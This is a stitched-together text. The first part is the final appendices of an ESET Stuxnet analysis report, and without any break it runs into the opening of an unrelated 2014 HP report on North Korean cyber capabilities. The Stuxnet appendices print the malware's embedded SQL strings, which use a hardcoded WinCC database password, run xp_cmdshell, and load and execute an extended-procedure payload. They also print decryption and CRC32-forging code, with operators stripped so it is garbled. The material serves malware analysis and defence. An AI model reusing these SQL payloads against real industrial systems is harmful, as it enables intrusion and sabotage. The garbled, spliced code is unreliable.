http://www.darkreading.com/vulnerability-management/167901026/security/attacks-breaches/228800582/china-likely-behind-stuxnet-attack-cyberwar-expert-says.html http://www.darkreading.com/vulnerability-management/167901026/security/attacks-breaches/228800582/china-likely-behind-stuxnet-attack-cyberwar-expert-says.html http://www.infracritical.com/papers/stuxnet-timeline.txt http://www.vimeo.com/18225315 73 www.eset.com http://www.langner.com/en/2010/12/31/year-end-roundup/ As previously stated in Section 2 of this document, as of version 1.31 of this document, we will not be publishing further revisions except to correct errors or to introduce substantial new or modified material.
We will, however, be adding links from time to time to the ESET blog entry at http://blog.eset.com/?p5731.
http://www.langner.com/en/2010/12/31/year-end-roundup/ http://blog.eset.com/?p5731 74 www.eset.com Appendix B Decryption algorithm for PNF file with configuration data  //key  71 //counter  byte number from begin file mov     eax, Key imul    eax, _Offset mov     ecx, eax shr     ecx, 0Bh xor     ecx, eax imul    ecx, 4E35h movzx   edx, cx movzx   ecx, dx imul    ecx, ecx mov     eax, ecx shr     ecx, 0Dh shr     eax, 17h add     al, cl mov     ecx, edx shr     ecx, 8 xor     eax, ecx movzx   ecx, dl xor     eax, ecx movzx   ecx, _Byte xor     eax, ecx mov result, al  decrypt function on python def decrypt(key, counter, sym): v0  key  counter v1  v0  0xb v1  (v1  v0)  0x4e35 v2  v1  0xffff v3  v2  v2 v4  v3  0xd v5  v3  0x17 xorbyte((v5  0xff)  (v4  0xff))  0xff xorbytexorbyte  ((v2  8)  0xff) xorbytexorbyte  (v2  0xff) return xorbyte  sym 75 www.eset.com Appendix C SQL query strings embedded in Stuxnet String 1 declare t varchar(4000), e int, f int if exists (select text from dbo.syscomments where id  object_id(N[dbo].
[MCPVREADVARPERCON])) select t  rtrim(text) from dbo.syscomments c, dbo.sysobjects o where o.id  c.id and c.id  object_id(N[dbo].
[MCPVREADVARPERCON]) set e  charindex(,openrowset, t) if e  0 set t  right(t, len(t) - 7) else begin set f  charindex(sp_msforeachdb, t) if f  0 begin set t  left(t, e - 1) set t  right(t, len(t) - 7) end else select  from fail_in_order_to_return_false end set t  alter   t ,openrowset(SQLOLEDB,Server.\WinCCuidWinCCConnectpwd2WSXcder,select 0set IMPLICIT_TRANSACTIONS offdeclare z nvarchar(999)set z  use [?]
declare t nvarchar(2000)declare s nvarchar(9)set s  --CC-S  char(80)if left(db_name(), 2)  CC select t  substring(text, charindex(s, text) 8, charindex(--, text) - charindex(s, text) - 8) from syscomments where text like (  s  )if t is not NULL exec(t)exec sp_msforeachdb z) exec (t) 76 www.eset.com String 2 declare t varchar(4000), e int, f int if exists (select  from dbo.syscomments where id  object_id(N[dbo].
[MCPVPROJECT2])) select t  rtrim(c.text) from dbo.syscomments c, dbo.sysobjects o where o.id  c.id and c.id  object_id(N[dbo].
[MCPVPROJECT2]) order by c.number, c.colid set e  charindex(--CC-SP, t) if e0 begin set f  charindex(where, t) if f  0 set t  left(t, f - 1) set t  right(t, len(t) - 6) end else select  from fail_in_order_to_return_false set t  alter   t   where ((SELECT top 1 1 FROM MCPVREADVARPERCON)1) - -CC-SP use masterdeclare t varchar(999),s varchar(999),a int declare r cursor for select filename from master..sysdatabases where (name like CC) open r fetch next from r into t while (fetch_status-1) begin set tleft(t,len(t)-charindex(\ ,reverse(t)))  \GraCS\cc_tlg7.savexec master..xp_fileexist t, a outif a1 begin set s  master..xp_cmdshell extrac32 /y t txexec(s)set t  txdbcc addextendedproc(sp_payload,t)exec master..sp_payloadexec master..sp_dropextendedproc sp_payloadbreak end fetch next from r into t end close r deallocate r -- exec (t) 77 www.eset.com String 3 view MCPVPROJECT2 as select PROJECTID,PROJECTNAME,PROJECTVERSION,PROJECTMODE, PROJECTCREATOR,PROJECTEDITOR,CREATIONDATE,EDITDATE, PRJCOMMENT,CSLANGUAGE,RTLANGUAGE,PROJECTGUID,PRJTABLETYPES, PRJDATATYPES,PRJCREATEVERMAJ,PRJCREATEVERMIN, PRJXRES, PRJTIMEMODE,PRJDELTAMODE,PRJDELTAREMOTE from MCPTPROJECT where ((SELECT top 1 1 FROM MCPVREADVARPERCON)1) String 4 view MCPVPROJECT2 as select MCPTPROJECT.PROJECTID, MCPTPROJECT.PROJECTNAME, MCPTPROJECT.PROJECTVERSION, MCPTPROJECT.PROJECTMODE, MCPTPROJECT.PROJECTCREATOR, MCPTPROJECT.PROJECTEDITOR, MCPTPROJECT.CREATIONDATE, MCPTPROJECT.EDITDATE, MCPTPROJECT.PRJCOMMENT, MCPTPROJECT.CSLANGUAGE, MCPTPROJECT.RTLANGUAGE, MCPTPROJECT.PROJECTGUID, MCPTPROJECT.PRJTABLETYPES, MCPTPROJECT.PRJDATATYPES, MCPTPROJECT.PRJCREATEVERMAJ, MCPTPROJECT.PRJCREATEVERMIN, MCPTPROJECT.PRJXRES, MCPTPROJECT.PRJTIMEMODE, MCPTPROJECT.PRJDELTAMODE, MCPTPROJECT.PRJDELTAREMOTE   from MCPTPROJECT String 5 view MCPVREADVARPERCON as select VARIABLEID,VARIABLETYPEID, FORMATFITTING, SCALEID, VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL,MAXLIMIT, MINLIMIT, STARTVALUE, SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY, CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES, VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2, SCALEPARAM3, SCALEPARAM4 from MCPTVARIABLEDESC, openrowset(SQLOLEDB,Server.\WinCCuidWinCCConnectpwd2WSXcder, select 0declare t varchar(999),s varchar(999),a int declare r cursor for select filename from master..sysdatabases where (name like CC) open r fetch next from r into t while (fetch_status-1) begin set tleft(t,len(t)- charindex(\,reverse(t)))\GraCS\cc_tlg7.savexec master..xp_fileexist t,a outif a1 begin set s  master..xp_cmdshell extrac32 /y t txexec(s)set ttxdbcc addextendedproc(sp_run,t)exec master..sp_runexec master..sp_dropextendedproc sp_runbreakend fetch next from r into t end close r deallocate r) String 6 view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID, MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING, MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME, CPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL, MCPTVARIABLEDESC.MAXLIMIT, MCPTVARIABLEDESC.MINLIMIT, MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE, MCPTVARIABLEDESC.VARFLAGS,  MCPTVARIABLEDESC.CONNECTIONID, MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID, MCPTVARIABLEDESC.LASTCHANGE, MCPTVARIABLEDESC.ASDATASIZE, MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID, MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK, MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1, MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3, MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC String 7 view MCPVPROJECT2 as select JECTID,PROJECTNAME,PROJECTVERSION,PROJECTMODE,PROJECTCREATOR, PROJECTEDITOR, CREATIONDATE, EDITDATE, PRJCOMMENT, CSLANGUAGE, RTLANGUAGE, PROJECTGUID, PRJTABLETYPES, PRJDATATYPES, 78 www.eset.com PRJCREATEVERMAJ, PRJCREATEVERMIN, PRJXRES, PRJTIMEMODE, PRJDELTAMODE, PRJDELTAREMOTE from MCPTPROJECT where ((SELECT top 1 1 FROM MCPVREADVARPERCON)1) String 8 view MCPVREADVARPERCON as select VARIABLEID, VARIABLETYPEID, FORMATFITTING, SCALEID, VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL, MAXLIMIT, MINLIMIT, STARTVALUE, SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY, CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES, VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2, SCALEPARAM3, SCALEPARAM4 from MCPTVARIABLEDESC, openrowset(SQLOLEDB,Server.\WinCCuidWinCCConnectpwd2WSXcder, select 0use masterdeclare t varchar(999),s varchar(999)select tfilename from master..sysdatabases where (name like CC)set tleft(t,len(t)- charindex(\,reverse(t)))\GraCS\cc_tlg7.savset s  master..xp_cmdshell extrac32 /y t txexec(s)set t  txdbcc addextendedproc(sprun,t)exec master..sprunexec master..sp_dropextendedproc sprun) String 9 view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID, MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING, MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME, MCPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL, MCPTVARIABLEDESC.MAXLIMIT, MCPTVARIABLEDESC.MINLIMIT, MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE, MCPTVARIABLEDESC.VARFLAGS,  MCPTVARIABLEDESC.CONNECTIONID, MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID, MCPTVARIABLEDESC.LASTCHANGE, MCPTVARIABLEDESC.ASDATASIZE, MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID, MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK, MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1, MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3, MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC String 10 view MCPVPROJECT2 as select MCPTPROJECT.PROJECTID, MCPTPROJECT.PROJECTNAME, MCPTPROJECT.PROJECTVERSION,  MCPTPROJECT.PROJECTMODE, MCPTPROJECT.PROJECTCREATOR, MCPTPROJECT.PROJECTEDITOR, MCPTPROJECT.CREATIONDATE, MCPTPROJECT.EDITDATE, MCPTPROJECT.PRJCOMMENT, MCPTPROJECT.CSLANGUAGE, MCPTPROJECT.RTLANGUAGE, MCPTPROJECT.PROJECTGUID, MCPTPROJECT.PRJTABLETYPES, MCPTPROJECT.PRJDATATYPES, MCPTPROJECT.PRJCREATEVERMAJ, MCPTPROJECT.PRJCREATEVERMIN, MCPTPROJECT.PRJXRES, MCPTPROJECT.PRJTIMEMODE, MCPTPROJECT.PRJDELTAMODE, MCPTPROJECT.PRJDELTAREMOTE from MCPTPROJECT String 11 view MCPVREADVARPERCON as select VARIABLEID, VARIABLETYPEID, FORMATFITTING,SCALEID, VARIABLENAME, ADDRESSPARAMETER, PROTOKOLL, MAXLIMIT, MINLIMIT, STARTVALUE, SUBSTVALUE, VARFLAGS, CONNECTIONID, VARPROPERTY, CYCLETIMEID, LASTCHANGE, ASDATASIZE, OSDATASIZE, VARGROUPID, VARXRES, VARMARK, SCALETYPE, SCALEPARAM1, SCALEPARAM2, SCALEPARAM3, SCALEPARAM4 from MCPTVARIABLEDESC, openrowset(SQLOLEDB,Server.\WinCCuidWinCCConnectpwd2WSXcder, select 0use masterdeclare t varchar(999),s varchar(999)select tfilename from master..sysdatabases where (name like CCR)set tleft(t,len(t)- charindex(\,reverse(t)))\GraCS\cc_tlg7.savset s  master..xp_cmdshell_ extrac32 /y t txexec(s)set t  txdbcc addextendedproc(sp_run,t)exec master..sp_run) 79 www.eset.com String 12 view MCPVREADVARPERCON as select MCPTVARIABLEDESC.VARIABLEID, MCPTVARIABLEDESC.VARIABLETYPEID, MCPTVARIABLEDESC.FORMATFITTING, MCPTVARIABLEDESC.SCALEID, MCPTVARIABLEDESC.VARIABLENAME, MCPTVARIABLEDESC.ADDRESSPARAMETER, MCPTVARIABLEDESC.PROTOKOLL, MCPTVARIABLEDESC.MAXLIMIT,  MCPTVARIABLEDESC.MINLIMIT, MCPTVARIABLEDESC.STARTVALUE, MCPTVARIABLEDESC.SUBSTVALUE, MCPTVARIABLEDESC.VARFLAGS, MCPTVARIABLEDESC.CONNECTIONID, MCPTVARIABLEDESC.VARPROPERTY, MCPTVARIABLEDESC.CYCLETIMEID, MCPTVARIABLEDESC.LASTCHANGE, MCPTVARIABLEDESC.ASDATASIZE, MCPTVARIABLEDESC.OSDATASIZE, MCPTVARIABLEDESC.VARGROUPID, MCPTVARIABLEDESC.VARXRES, MCPTVARIABLEDESC.VARMARK, MCPTVARIABLEDESC.SCALETYPE, MCPTVARIABLEDESC.SCALEPARAM1, MCPTVARIABLEDESC.SCALEPARAM2, MCPTVARIABLEDESC.SCALEPARAM3, MCPTVARIABLEDESC.SCALEPARAM4 from MCPTVARIABLEDESC String 13 DECLARE vr varchar(256) SET vr  CONVERT(varchar(256), (SELECT serverproperty(productversion) )) IF vr  9 BEGIN EXEC sp_configure show advanced options, 1  RECONFIGURE WITH OVERRIDE EXEC sp_configure Ole Automation Procedures, 1 RECONFIGURE WITH OVERRIDE END String 14 DECLARE ashl int, aind varchar(260), ainf varchar(260), hr int EXEC hr  sp_OACreate WScript.
Shell, ashl OUT IF hr  0 GOTO endq EXEC sp_OAMethod ashl, ExpandEnvironmentStrings, aind OUT, ALLUSERSPROFILE SET ainf  aind  \sql05x.dbi DECLARE aods int, adss int, aip int, abf varbinary(4096) EXEC hr  sp_OACreate ADODB.Stream, aods OUT IF hr  0 GOTO endq EXEC hr  sp_OASetProperty aods, Type, 1 IF hr  0 GOTO endq EXEC hr  sp_OAMethod aods, Open, null IF hr  0 GOTO endq SET adss  ( SELECT DATALENGTH(abin) FROM sysbinlog ) SET aip  1 80 www.eset.com WHILE ( aip  adss ) BEGIN SET abf  ( SELECT SUBSTRING (abin, aip, 4096 ) FROM sysbinlog ) EXEC hr  sp_OAMethod aods, Write, null, abf IF hr  0 GOTO endq SET aip  aip  4096 END EXEC hr  sp_OAMethod aods, SaveToFile, null, ainf, 2 IF hr  0 GOTO endq EXEC sp_OAMethod aods, Close, null endq: EXEC sp_dropextendedproc sp_dumpdbilog String 15 DECLARE ashl int, aind varchar(260), ainf varchar(260), hr int EXEC hr  sp_OACreate WScript.
Shell, ashl OUT IF hr  0 GOTO endq EXEC sp_OAMethod ashl, ExpandEnvironmentStrings, aind OUT, ALLUSERSPROFILE SET ainf  aind  \sql05x.dbi EXEC sp_addextendedproc sp_dumpdbilog, ainf EXEC sp_dumpdbilog EXEC sp_dropextendedproc sp_dumpdbilog endq: String 16 DECLARE ashl int, aind varchar(260), ainf varchar(260), hr int EXEC hr  sp_OACreate WScript.
Shell, ashl OUT IF hr  0 GOTO endq EXEC sp_OAMethod ashl, ExpandEnvironmentStrings, aind OUT, ALLUSERSPROFILE SET ainf  aind  \sql05x.dbi DECLARE fs int EXEC hr  sp_OACreate Scripting.
FileSystemObject, fs OUT IF hr  0 GOTO endq EXECUTE sp_OAMethod fs, DeleteFile, NULL, ainf endq: 81 www.eset.com String 17 DROP TABLE sysbinlog String 18 CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0x String 19 0set IMPLICIT_TRANSACTIONS offdeclare z nvarchar(999)set zuse [?]
declare t nvarchar(2000)declare s nvarchar(9)set s--CC-Schar(80)if left(db_name(),2)CC select tsubstring(text,charindex(s,text)8,charindex(--,text)-charindex(s,text)-8) from syscomments where text like (s)if t is not NULL exec(t)exec sp_msforeachdb z) String 20 ((SELECT top 1 1 FROM MCPVREADVARPERCON)1) --CC-SP String 21 use master String 22 select name from master..sysdatabases where filename like Ns String 23 exec master..sp_attach_db wincc_svr, Ns, Ns String 24 exec master..sp_detach_db wincc_svr String 25 use wincc_svr 82 www.eset.com Appendix D Algorithm for calculating CRC32 checksum in python: crc32_table  ( 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 83 www.eset.com 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d) def crc32(data): crc  0xffffffff for i in xrange(len(data)): crc  (crc  8)  crc32_table[(crc  0x000000ff)  data[i]] return crc 84 www.eset.com Appendix E Algorithm for forging CRC32 checksum in python.
It is supposed that the message ends with a null- terminated Unicode string --XY--: crc32_reverse  ( 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, 85 www.eset.com 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9) def crc32forge(data, original_crc): crc  0xffffffff for i in xrange(len(data) - 12): crc  (crc  8)  crc32_table[(crc  0x000000ff)  data[i]] data[len(data) - 12]  (crc  0x000000ff)  0 data[len(data) - 11]  (crc  0x0000ff00)  8 data[len(data) - 10]  (crc  0x00ff0000)  16 data[len(data) - 9]  (crc  0xff000000)  24 for i in xrange(12): original_crc  ((original_crc  8)  crc32_reverse[original_crc  24]  data[len(data) - 1 - i]) 0xffffffff print X  original_crc data[len(data) - 12]  (original_crc  0x000000ff)  0 data[len(data) - 11]  (original_crc  0x0000ff00)  8 data[len(data) - 10]  (original_crc  0x00ff0000)  16 data[len(data) - 9]  (original_crc  0xff000000)  24
Companion report HP Security Briefing Episode 16, August 2014 Profiling an enigma:  The mystery of North Koreas cyber threat landscape HP Security Research Table of Contents Introduction .................................................................................................................................................... 3 Research roadblocks ...................................................................................................................................... 4 Ideological and political context .................................................................................................................... 5 Juche and Songun ...................................................................................................................................... 5 Tension and change on the Korean Peninsula .......................................................................................... 8 North Korean cyber capabilities and limitations ......................................................................................... 10 North Korean infrastructure.................................................................................................................... 10 An analysis of developments in North Korean cyberspace since 2010 .................................................. 14 North Korean cyber war and intelligence structure ................................................................................ 21 North Korean cyber and intelligence organizational chart ..................................................................... 26 North Koreas cyber doctrine, strategies and goals ............................................................................... 26 Cyber warfare operations ........................................................................................................................ 27 Gaming for profit and pwnage ................................................................................................................ 29 Intelligence and counterintelligence ...................................................................................................... 29 Psychological operations ........................................................................................................................ 32 Electronic warfare ................................................................................................................................... 38 Training cyber warriors ........................................................................................................................... 39 Important political and military ties ............................................................................................................ 42 China ........................................................................................................................................................ 42 Copyright 2014 Hewlett-Packard Development Company, L.P.
The information contained herein is subject to change without notice.
The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and services.
Nothing herein should be construed as constituting an additional warranty.
HP shall not be liable for technical or editorial errors or omissions contained herein.
Russia ...................................................................................................................................................... 43 Iran ........................................................................................................................................................... 43 Syria ......................................................................................................................................................... 44 Cuba ......................................................................................................................................................... 44 Timeline of significant North Korean cyber activity .................................................................................... 45 Patterns in the noise: cyber incidents attributed to North Korean actors .................................................. 47 DarkSeoul ................................................................................................................................................ 50 WhoIs Team ............................................................................................................................................. 52 IsOne ........................................................................................................................................................ 55 Kimsukyang ............................................................................................................................................. 57 New Romantic Cyber Army Team / Hastati ............................................................................................. 57 Malware summary ........................................................................................................................................ 58 Analysis ........................................................................................................................................................ 60 Summary ...................................................................................................................................................... 61 HP Security Research recommendations ..................................................................................................... 62 Appendix A  WHOIS records ........................................................................................................................ 64 Appendix B  Sites found on North Korean IP space.................................................................................... 72 Appendix C  Analysis of DarkSeoul Dropper .............................................................................................. 74 Learn more at .......................................................................................................................................... 75 Episode 16 Thank you for subscribing to Episode 16 of the HP Security Briefing.
In this edition we discuss the cyber landscape within the Democratic Peoples Republic of Korea.
Introduction The Democratic Peoples Republic of Korea (DPRK), known in the West as North Korea, is a unique country with a military-focused society and an unconventional technology infrastructure.
While North Korea was formerly on the U.S. list of state sponsors of terrorism, it was removed in 2008.1 However, due to North Koreas hostility toward other nations, its pursuit of nuclear weapons, and human rights violations against its own citizens, the United Nations and many Western entities have placed sanctions and embargoes against North Korea.2 3 For example, U.S. export laws forbid the sale of dual-use technologies, or those that can be used or repurposed for both civilian and military use, to North Korea.4 5 Additionally, the U.S. has a military alliance with the Republic of Korea (ROK), known in the West as South Korea, North Koreas primary target of conflict.6 Due to North Koreas global interactions, its cyber warfare capabilities are of particular interest to the U.S.
According to a 2009 report by Major Steve Sin, an intelligence analyst at U.S.
